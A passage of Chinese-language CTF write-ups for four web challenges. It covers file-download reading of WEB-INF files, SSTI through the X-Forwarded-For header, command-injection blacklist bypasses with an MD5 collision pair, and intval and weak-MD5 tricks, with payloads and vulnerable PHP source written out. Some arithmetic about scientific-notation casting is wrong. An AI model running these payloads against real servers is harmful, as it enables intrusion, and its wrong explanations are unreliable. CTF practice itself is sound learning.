[RoarCTF 2019]Easy Java
题目环境
help的页面中存在一个filename参数的GET传参,可能存在文件下载漏洞
尝试一下:
试用POST方式来进行请求,发现可以下载文件
题目既然是与java相关的,之前了解到WEB-INF/web.xml
文件泄露
漏洞成因:通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!
构造payload尝试:
filename=/WEB-INF/web.xml
下载完后记事本打开发现:
<servlet> <servlet-name>FlagController</servlet-name> <servlet-class>com.wm.ctf.FlagController</servlet-class> </servlet>
科普:servlet:Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。(来源百度百科)
其实说明了这个就是JAVA源代码进行编译后所产生的后缀带有.class的东西。于是我们可以下载这个.class文件再利用反编译手段来获得flag。
最终payload:
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
记事本打开有一串base字符,解码得到flag
也可以进行反编译:
在线反编译网站
这里贴一个介绍Tomcat的文章
Tomcat介绍
[BJDCTF2020]The mystery of ip
考点:XFF头的ssti模板注入
题目中hint.php的源码中发现一个hint
这里要贴一下XFF的知识点
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP
XFF注入是SQL注入的一种,该注入原理是通过修改X-Forwarded-For头对带入系统的dns进行sql注入,从而得到网站的数据库内容
由此可以看出来:这里的ip也许就是XFF
可以通过检测来验证
而XFF注入还可与模板注入联合起来
贴上模板注入概念
SSTI 就是服务器端模板注入(Server-Side Template Injection)
漏洞成因:简单讲就是服务端接收了用户的恶意输入并执行当我们更改的请求参数被解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。
与以上XFF联系起来就可以尝试啦
本题源码:
<?php require_once('header.php'); require_once('./libs/Smarty.class.php'); $smarty = new Smarty(); if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip=$_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip=$_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip=$_SERVER['REMOTE_ADDR']; } //$your_ip = $smarty->display("string:".$ip); echo "<div class=\"container panel1\"> <div class=\"row\"> <div class=\"col-md-4\"> </div> <div class=\"col-md-4\"> <div class=\"jumbotron pan\"> <div class=\"form-group log\"> <label><h2>Your IP is : "; $smarty->display("string:".$ip); echo " </h2></label> </div> </div> </div> <div class=\"col-md-4\"> </div> </div> </div>"; ?>
形成SSTI代码:$smarty->display("string:".$ip)
采用了Smarty模板引擎
参考
XFF注入
SSTI(模板注入)漏洞(入门篇)
[安洵杯 2019]easy_web
知识点
题目url中发现index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
看到cmd猜测是命令执行,因为一般碰到的都是linux命令,所以尝试ls
,没有反应
而前面的img参数看起来像是base64,经过base64—>base64—>hex后得到555.png
推测文件包含
加密脚本
import binascii
import base64
filename = input().encode(encoding='utf-8')
hex = binascii.b2a_hex(filename)
base1 = base64.b64encode(hex)
base2 = base64.b64encode(base1)
print(base2.decode())```
读取 index.php 源码之后审计源码。
```php
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
rce 的过滤名单如下
if(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))
正则匹配过滤了很多,可以用linux命令
$cmd=dir不行,$cmd=dir%20会显:
看到flag文件了,接下来读取
正则表达式中需要三个反斜杠才可以匹配到一个真正的反斜杠,所以实际上反斜杠没有被过滤。而在linux命令中可以添加反斜杠来绕过黑名单过滤。
所以有
cmd=ca\t%20/flag
因此造成了 ca\t
命令可以直接读取 flag
而通过 rce 拿到 flag 之前需要通过一个判断
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
通过md5碰撞即可 rce 拿到 flag
POST数据
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
也可以使用linux下的sort命令来进行文件读取
Linux sort命令用于将文本文件内容加以排序。
参考
安洵杯2019 官方Writeup
CTF中常见php-MD5()函数漏洞
[WUSTCTF2020]朴实无华
知识点
robots.txt爬虫、科学计数法绕过、MD5自身值、空格绕过
文字内容提到了消息头,但是BP抓包后无线索
修改网页编码之后是:
没有线索,bot
—>robots.txt?
,尝试之后:
访问网页
联系到之前的消息头提示,查看当前页面消息头
访问,得到
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
需要三层绕过
level 1
传入一个参数num,经过intval函数既要小于2020并且加一要大于2021
使用科学计数法来进行绕过
当使用科学计数法来判断num<2020时,7e3会被强制转换为int类型,相当于7,但是当用这种办法来判断+1时,科学计数法就会被解析出来7e3+1就是344,这样就进行了绕过
payload1:
/fl4g.php?num=7e3
level 2
md5弱比较,只要找到一个值的MD5值等于他本身
参考:0e2159620、0e215962017
payload2:
/fl4g.php/?num=7e3&md5=0e215962017
level 3
传入的get_flag
不能有空格
传入的cat会被替换为wctf2020
传入的get_flag
会当作系统命令被执行
payload3
fl4g.php/?num=7e3&md5=0e215962017&get_flag=ls
#先查看当前目录文件
flag应该在这个文件里
绕过cat
fl4g.php/?num=7e3&md5=0e215962017&get_flag=tac
空格使用
$IFS$1
绕过
参考
buuctf-WUSTCTF2020朴实无华(小宇特详解)
初级命令执行绕过总结